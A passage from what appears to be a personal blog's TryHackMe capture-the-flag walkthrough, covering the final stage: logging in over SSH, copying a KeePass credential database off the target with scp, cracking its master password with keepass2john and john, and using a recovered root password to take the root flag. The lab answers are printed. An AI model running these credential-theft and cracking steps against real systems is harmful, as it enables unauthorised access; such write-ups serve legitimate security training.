root@ip-10-48-111-205:~# ssh sysadmin@10.48.140.32 sysadmin@10.48.140.32's password: Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1017-aws x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro System information as of Fri Jun 26 10:58:57 UTC 2026 System load: 0.0 Processes: 111 Usage of /: 18.4% of 19.31GB Users logged in: 0 Memory usage: 57% IPv4 address for ens5: 10.48.140.32 Swap usage: 0% * Ubuntu Pro delivers the most comprehensive open source security and compliance features. https://ubuntu.com/aws/pro Expanded Security Maintenance for Applications is not enabled. 213 updates can be applied immediately. 152 of these updates are standard security updates. To see these additional updates run: apt list --upgradable Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Tue May 19 03:18:19 2026 from 192.168.230.214 sysadmin@tryhackme-2204:~$ ls backups user.txt sysadmin@tryhackme-2204:~$ cat user.txt THM{sQli_4nd_cMd_1nj3ct10n_l3D_y0u_h3re!} sysadmin@tryhackme-2204:~$

After logging in we have our first flag - THM{sQli_4nd_cMd_1nj3ct10n_l3D_y0u_h3re!}

Next, we find that the user has a backups directory inside which we see a note -

bash
sysadmin@tryhackme-2204:~/backups$ ls -la total 16 drwx------ 2 sysadmin sysadmin 4096 May 19 03:36 . drwxr-xr-x 5 sysadmin sysadmin 4096 May 19 03:35 .. -rw-r--r-- 1 sysadmin sysadmin 286 May 19 03:36 README.txt -rw------- 1 sysadmin sysadmin 2439 May 19 03:34 infrastructure.kdbx sysadmin@tryhackme-2204:~/backups$ cat README.txt Backup archive — infrastructure credentials Periodic exports from the credential store are placed here by the backup agent. Treat all files in this directory as CONFIDENTIAL. infrastructure.kdbx — KeePass credential database Contact the sysadmin team lead if you require access.

Let's get the keepass file on our attacker machine and try to crack the password.

bash
root@ip-10-49-66-55:~# scp sysadmin@10.49.178.247:/home/sysadmin/backups/infrastructure.kdbx . sysadmin@10.49.178.247's password: infrastructure.kdbx 100% 2439 909.9KB/s 00:00 root@ip-10-49-66-55:~# ls -la infrastructure.kdbx -rw------- 1 root root 2439 Jun 26 16:22 infrastructure.kdbx
bash
root@ip-10-49-66-55:~# file infrastructure.kdbx infrastructure.kdbx: Keepass password database 2.x KDBX root@ip-10-49-66-55:~# keepass2john infrastructure.kdbx > keepass.hash root@ip-10-49-66-55:~# cat keepass.hash infrastructure:$keepass$*4*15000*c9d9f39a*0*0*0*dfac336bd70871c277c36e2781cd90901482db105cf2c1f722552d225c7e0ed8*e180d085066b96631eb591d40eedbf19a2d2bee3eeb0ee50436c3ad04e4715fe*03d9a29a67fb4bb500000400021000000031c1f2e6bf714350be5805216afc5aff0304000000010000000420000000dfac336bd70871c277c36e2781cd90901482db105cf2c1f722552d225c7e0ed80b5d00000000014205000000245555494410000000c9d9f39a628a4460bf740d08c18a4fea05010000005208000000983a00000000000042010000005320000000e180d085066b96631eb591d40eedbf19a2d2bee3eeb0ee50436c3ad04e4715fe00071000000091f1c654c0458114b257c21663ffbee100040000000d0a0d0a*454008e91387390a7ccfbd081acb83d5248d9ea5ee44789f8edc2f4e12779972 root@ip-10-49-66-55:~# john --wordlist=/usr/share/wordlists/rockyou.txt keepass.hash Using default input encoding: UTF-8 Loaded 1 password hash (KeePass [AES/Argon2 256/256 AVX2]) Cost 1 (t (rounds)) is 15000 for all loaded hashes Cost 2 (m) is 0 for all loaded hashes Cost 3 (p) is 0 for all loaded hashes Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 3 for all loaded hashes Will run 2 OpenMP threads Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status spring (infrastructure) 1g 0:00:00:00 DONE (2026-06-26 16:27) 1.099g/s 2775p/s 2775c/s 2775C/s spring..malcolm Use the "--show" option to display all the cracked passwords reliably Session completed root@ip-10-49-66-55:~#

After unlocking the file with keepasxc -

bash
keepassxc infrastructure.kdbx

We see a note with root's username and password -

root:S3cur3P4ss0nK33p4ss

Let's try switching user to root -

bash
sysadmin@tryhackme-2204:~/backups$ su root Password: root@tryhackme-2204:/home/sysadmin/backups# ls /root root.txt snap root@tryhackme-2204:/home/sysadmin/backups# cat /root/root.txt THM{KDBx_V4ul7_H4s_b33n_cr4ck3d_0peN} root@tryhackme-2204:/home/sysadmin/backups#

Great! We logon as root and gain the root flag. Solved!

$ echo "Open to Red Team Security Research and Security Engineering roles."

> Open to Red Team Security Research and Security Engineering roles.

$ uptime

> Portfolio online since 2024 | Last updated: Aug 2026

"No one is useless in this world who lightens the burdens of another." — Charles Dickens

Considered a small donation if you found any of the walkthrough or blog posts helpful. Much appreciate :)

Buy me a coffee

© 2026 Shivang Tiwari. Built with Next.js. Hack the planet.